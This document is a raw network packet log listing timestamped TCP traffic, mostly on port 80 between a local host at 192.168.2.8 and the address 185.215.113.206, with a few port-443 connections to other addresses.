Nov 25, 2024 03:39:53.746958971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.746999979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.747066975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.747900963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.747911930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.747961998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.748733044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.748799086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.748820066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.748893976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.749574900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.749639034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.749674082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.749726057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.750467062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.750543118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.750569105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.750802040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.751342058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.751400948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.751460075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.751559973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.752211094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.752305031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.752309084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.752576113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.753082991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.753143072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.753153086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.753197908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.754085064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.754146099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.758384943 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:53.758421898 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:53.758486986 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:53.758945942 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:53.758964062 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:53.857528925 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:53.857966900 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:53.857995033 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:53.858355999 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:53.859450102 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:53.859541893 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:53.859688044 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:53.907330990 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:53.918714046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.918786049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.918802977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.918847084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.919142008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.919194937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.919214964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.919277906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.920022964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.920137882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.920413017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.920897007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.920979977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.921020985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.921117067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.921796083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.921857119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.921941042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.921991110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.922667027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.922748089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.922781944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.922818899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.923540115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.923608065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.923649073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.923928022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.924417019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.924464941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.924514055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.924765110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.925297976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.925359964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.925409079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.925446033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.926171064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.926230907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.926286936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.926322937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.927030087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.927081108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.927143097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.927352905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.927936077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.927948952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.927999973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.928812981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.928925991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.928986073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.929677963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.929740906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.929792881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.929977894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.930588961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.930656910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.930691957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.930784941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.931468010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.931525946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.931559086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.931622028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.932343006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.932405949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.932461023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.932504892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.933238029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.933288097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.933403015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.933547020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.934091091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.934204102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.934252977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.934983969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.935096025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.935179949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.935868979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.935978889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.936099052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.936733007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.936781883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.936840057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.936875105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.937621117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.937669039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.937715054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.937764883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.938492060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.938541889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.938591003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.938791990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.939359903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.939410925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.939466000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.939627886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.940258980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.940309048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.940366983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.940438032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.941124916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.941190958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.941236973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.941272974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.942006111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.942061901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.942114115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.942365885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.942887068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.942944050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.943053007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.943099976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.943769932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.943883896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.943928003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.944636106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.944758892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.944787979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.944824934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.945521116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.945575953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.945632935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.945818901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.946400881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.946484089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.946508884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.946592093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.947267056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.947333097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.947382927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.947421074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.948185921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.948209047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.948236942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.948256969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.949038982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.949146986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.949223995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.949923992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.949980021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.950035095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.950067043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.950789928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.950848103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.950877905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.950937986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.951685905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.951730967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.951798916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.951834917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.952552080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.952600956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.952651024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.952838898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.953439951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.953490019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.953546047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.953628063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.954320908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.954374075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.954474926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.954519033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.955202103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.955317974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.955370903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.956088066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.956119061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.956161976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.956980944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.957106113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.957148075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.957170010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.957853079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.957971096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.958035946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.958700895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.958755016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.958823919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.958858967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.959593058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.959709883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.959726095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.960510969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.960553885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.960597992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.960604906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.960639000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.961360931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.961415052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.961476088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.961513042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.962225914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.962347984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.962400913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.963119984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.963175058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.963206053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.963222980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.964006901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.964057922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.964109898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.964147091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.964818954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.964876890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.010600090 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:54.010731936 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:54.010929108 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:54.013616085 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:54.013631105 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:54.129123926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.129219055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.129270077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.129508972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.129558086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.129590034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.129636049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.130395889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.130450964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.130492926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.130685091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.131285906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.131340981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.131417990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.131455898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.132200956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.132256985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.132263899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.132299900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.133059978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.133162022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.133182049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.133328915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.133917093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.134046078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.134067059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.134104967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.134793997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.134912968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.134933949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.134949923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.135688066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.135729074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.135797977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.136063099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.136563063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.136609077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.136662960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.136715889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.137440920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.137526035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.137554884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.137706041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.138317108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.138362885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.138444901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.138489008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.139195919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.139245033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.139297962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.139432907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.140074015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.140191078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.140245914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.140974045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.141030073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.141067028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.141105890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.141834021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.141885042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.141940117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.141973019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.142707109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.142765045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.142792940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.142982960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.143604040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.143672943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.143707037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.144483089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.144539118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.144575119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.144618988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.145361900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.145418882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.145467043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.145556927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.146239042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.146346092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.146390915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.147108078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.147166967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.147202969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.147245884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.147994995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.148101091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.148169041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.148890972 CET	80	49748	185.215.113.206	192.168.2.8
